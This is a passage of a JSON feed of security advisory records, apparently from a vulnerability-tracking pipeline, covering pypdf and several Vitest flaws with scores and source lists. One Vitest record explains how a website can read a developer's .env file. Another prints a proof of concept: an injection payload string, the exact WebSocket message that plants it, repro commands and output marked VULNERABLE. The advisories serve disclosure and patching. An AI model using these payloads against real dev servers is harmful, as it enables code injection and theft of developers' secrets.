GHSA-4558-3h8r-v8xp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-4558-3h8r-v8xp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-4558-3h8r-v8xp, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112394&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112394, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113786","cveId":"CVE-2026-113786","aliases":["GHSA-5hx5-vpf9-5wcv"],"kind":"vulnerability","title":"pypdf: Unvalidated JPEG image data loading","summary":"An attacker who uses this vulnerability can craft a PDF which leads to arbitrary image parsers being called. This requires loading an image which claims to use the `/DCTDecode` filter (JPEG data).\n\nUsers which do not have the optional *Pillow* dependency installed in their environment are not affected.","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to arbitrary image parsers being called. This requires loading an image which claims to use the `/DCTDecode` filter (JPEG data).\n\nUsers which do not have the optional *Pillow* dependency installed in their environment are not affected.\n\n### Patches\n\nThis has been fixed in [pypdf==6.21.1](https://github.com/py-pdf/pypdf/releases/tag/6.21.1).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4222](https://github.com/py-pdf/pypdf/pull/4222).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.21.1","action":"GitHub lists first patched versions: pypdf: 6.21.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T19:58:10.000Z","updatedAt":"2026-10-21T19:58:11.000Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-5hx5-vpf9-5wcv","asOf":"2026-10-21T19:58:11.000Z"},"epss":{"probability":0.00375,"percentile":0.31199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113786&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5hx5-vpf9-5wcv","url":"https://github.com/advisories/GHSA-5hx5-vpf9-5wcv","type":"primary","publishedAt":"2026-10-21T19:58:10.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5hx5-vpf9-5wcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-5hx5-vpf9-5wcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-5hx5-vpf9-5wcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-5hx5-vpf9-5wcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-5hx5-vpf9-5wcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-5hx5-vpf9-5wcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-5hx5-vpf9-5wcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-5hx5-vpf9-5wcv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-5hx5-vpf9-5wcv, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113786&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113786, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112948","cveId":"CVE-2026-112948","aliases":["GHSA-p458-7748-mcp3"],"kind":"vulnerability","title":"Vitest: Servers misapply `server.fs.deny`, serving `.env`, private keys, `.git`, and the API token file","summary":"In Vitest 5, Vite's `server.fs.deny` is not applied as intended on Vitest's dev servers. Depending on the server, files that Vite refuses to serve by default (such as `.env`, private keys and certificates, `.npmrc`, and `.git`) or Vitest's own API token file (`.vitest-secret-token`) can be read over plain HTTP by a client that can reach the server. In Browser Mode with `test.projects`, a malicious website can also read `.env` values through the developer's browser.\n\nThis only applies when Vitest runs an HTTP server, which happens with the UI (`--ui`), Browser Mode, or `api` enabled. Plain `vitest` and `vitest run` don't listen on any port and are not affected. The fix ships in `vitest`, and `@vitest/ui` and `@vitest/browser` are listed because they are what enables the affected setups. Both pin `vitest` to the same version as a peer dependency, so upgrading either one also requires the patched `vitest`. Users who enable `api` without `@vitest/ui` or `@vitest/browser` are also affected and should upgrade `vitest`.","detail":"### Summary\n\nIn Vitest 5, Vite's `server.fs.deny` is not applied as intended on Vitest's dev servers. Depending on the server, files that Vite refuses to serve by default (such as `.env`, private keys and certificates, `.npmrc`, and `.git`) or Vitest's own API token file (`.vitest-secret-token`) can be read over plain HTTP by a client that can reach the server. In Browser Mode with `test.projects`, a malicious website can also read `.env` values through the developer's browser.\n\nThis only applies when Vitest runs an HTTP server, which happens with the UI (`--ui`), Browser Mode, or `api` enabled. Plain `vitest` and `vitest run` don't listen on any port and are not affected. The fix ships in `vitest`, and `@vitest/ui` and `@vitest/browser` are listed because they are what enables the affected setups. Both pin `vitest` to the same version as a peer dependency, so upgrading either one also requires the patched `vitest`. Users who enable `api` without `@vitest/ui` or `@vitest/browser` are also affected and should upgrade `vitest`.\n\n### Details\n\nVitest 5 adds its API token file to `server.fs.deny`, but neither server ended up with the intended list. That's because of two Vite behaviors. Vite applies its default deny list only when `server.fs.deny` is unset, and it compiles the list into a matcher during config resolution, so later changes to the array have no effect.\n\n| setup | listening server | Vite's default deny list | `.vitest-secret-token` |\n| ---------------------------------- | ------------------------------- | ------------------------ | ----------------------------------- |\n| plain `vitest` / `vitest run` | none | not reachable | not reachable |\n| `--ui` or `api` | root | denied | **served** (fallback location only) |\n| Browser Mode, single project | root (also the browser server) | denied | **served** (fallback location only) |\n| Browser Mode with `test.projects` | each browser project's server | **served** | denied |\n\n- **Project servers** set `deny: ['.vitest-secret-token']` from a `config()` hook, which replaces Vite's defaults. A project server listens on a port in Browser Mode with `test.projects`, so in that setup a request like `GET /.env?raw` returns the file. A plain `GET /.env` is also served as `text/javascript`, so a malicious page can include it with ` /.env\">`. A classic script include needs no CORS, and each dotenv line whose value is valid JavaScript (a quoted string, number, or boolean) runs as a global assignment the page can read. A syntax error anywhere in the file, such as a `#` comment, keeps the whole script from running. The same missing defaults also loosen Browser Mode's file-access checks for `server.readFile`/`writeFile`/`removeFile`, screenshots, and traces.\n- **The root server** adds the token entry after Vite has compiled the matcher, so the entry is never applied. The token file normally lives in the per-user data directory, which is outside `server.fs.allow`. When that directory can't be written, for example in a container whose user has no writable `HOME`, Vitest falls back to ` /node_modules/.vitest/.vitest-secret-token`, which the root server then serves. The token authenticates the UI, `/__vitest_attachment__`, and the API WebSocket, whose RPC can write and rerun test files when `api.allowWrite`/`api.allowExec` are enabled.\n\n### Impact\n\nInformation disclosure from the Vitest dev server, and with the token, privileged API access.\n\n- **From a malicious website**, in Browser Mode with `test.projects`: while the browser server runs, any page the developer visits can read `.env` values that are valid JavaScript, through a classic ` ` include. This works when the file consists of `KEY=\"value\"` lines. An unquoted value causes a runtime error that stops the script at that line, so only the lines before it leak. A syntax error anywhere in the file, such as a `#` comment line or an `export` prefix, prevents the script from running at all. Recent Chrome versions may ask for Local Network Access permission first. `fetch` and XHR reads from other websites are still blocked by Vite's default CORS policy, and Vite's `Host` check blocks DNS rebinding. That CORS policy does allow localhost origins, so a page served from another local dev server could read full files. The token file can't be read through a classic ` `, because a bare token isn't valid JavaScript.\n- **With local access or developer-set network exposure** (such as `api.host` or `browser.api.host`, port forwarding, or a published container port): full file contents are readable over plain HTTP, including the token file when it's in the fallback location.\n\nOnly the machine running Vitest is exposed, while it runs one of the setups above. Applications built or deployed from the project aren't affected.\n\nThe fix is in `vitest` ` `. Vitest 4 and earlier are unaffected. They don't persist an API token, and they don't override `server.fs.deny`.\n\n### Workaround\n\nSet `server.fs.deny` explicitly in the root Vitest config, including Vite's default list for your Vite version and the token file. For Vite 8.3:\n\n```ts\nexport default defineConfig({\n server: {\n fs: {\n deny: [\n '.env',\n '.env.*',\n '*.{crt,pem,key,p12,pfx,cer,der}',\n '.npmrc',\n '.yarnrc.yml',\n '**/.git/**',\n '.vitest-secret-token',\n ],\n },\n },\n})\n```\n\nAffected package ranges reported by GitHub:\n@vitest/ui: >= 5.0.0-beta.6, < 5.0.5\n@vitest/browser: >= 5.0.0-beta.6, < 5.0.5\nvite-plus: >= 1.0.0-rc.0, < 1.3.0","action":"GitHub lists first patched versions: @vitest/ui: 5.0.5; @vitest/browser: 5.0.5; vite-plus: 1.3.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T19:57:00.000Z","updatedAt":"2026-10-21T19:57:01.000Z","regions":["Global"],"vendor":null,"product":"@vitest/ui, @vitest/browser, vite-plus","stacks":["JavaScript packages (npm)","@vitest/ui","@vitest/browser","vite-plus","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-p458-7748-mcp3","asOf":"2026-10-21T19:57:01.000Z"},"epss":{"probability":0.004,"percentile":0.3402,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112948&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-p458-7748-mcp3","url":"https://github.com/advisories/GHSA-p458-7748-mcp3","type":"primary","publishedAt":"2026-10-21T19:57:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-p458-7748-mcp3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-p458-7748-mcp3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-p458-7748-mcp3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-p458-7748-mcp3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-p458-7748-mcp3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-p458-7748-mcp3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-p458-7748-mcp3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-p458-7748-mcp3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-p458-7748-mcp3, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112948&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112948, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112949","cveId":"CVE-2026-112949","aliases":["GHSA-qxg6-89mg-rqv8"],"kind":"vulnerability","title":"Vitest: Code injection via unauthenticated manual mock registration","summary":"`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.","detail":"### Summary\n\n`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '\"__vitest_mocker__\"'): string {\n const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n if (options.registerWebSocketEvents === false) { return }\n server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {\n if (event.type === 'manual') {\n const module = ManualMockedModule.fromJSON(event, async () => {\n const keys = await getFactoryExports(event.url)\n return Object.fromEntries(keys.map(key => [key, null]))\n })\n registry.add(module) // no validation of `id` or `url`\n }\n else {\n if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = 'x\"); globalThis.ARES_INJECTED = 1; void(\"'` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest && cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install && pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from '@vitest/mocker/node'\nexport default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws:// : /` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \" \",\n \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server's `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\" \",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400\nPASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400\nPASS negative control: with no mock registered the real module is served\nPASS negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n let __0 = __factoryModule__[\"a\"]\n export { __0 as \"a\" }\n if (__factoryModule__.__factoryPromise != null) {\n __factoryModule__.__factoryPromise.then((resolvedModule) => {\n __0 = resolvedModule[\"a\"];\n })\n }\nPASS attacker statement is present in the module the dev server serves\nPASS the real module body was replaced\nPASS the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** — with no \n\nAffected package ranges reported by GitHub:\n@vitest/mocker: >= 2.1.0-beta.7, < 4.1.12\n@vitest/mocker: >= 5.0.0-beta.1, < 5.0.3","action":"GitHub lists first patched versions: @vitest/mocker: 4.1.12; @vitest/mocker: 5.0.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T19:54:26.000Z","updatedAt":"2026-10-21T19:54:27.000Z","regions":["Global"],"vendor":null,"product":"@vitest/mocker, @vitest/mocker","stacks":["JavaScript packages (npm)","@vitest/mocker","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-qxg6-89mg-rqv8","asOf":"2026-10-21T19:54:27.000Z"},"epss":{"probability":0.00336,"percentile":0.26769,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-qxg6-89mg-rqv8","url":"https://github.com/advisories/GHSA-qxg6-89mg-rqv8","type":"primary","publishedAt":"2026-10-21T19:54:26.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-qxg6-89mg-rqv8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112950","cveId":"CVE-2026-112950","aliases":["GHSA-xp26-3454-mjgp"],"kind":"vulnerability","title":"Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix","summary":"The path traversal fix released for 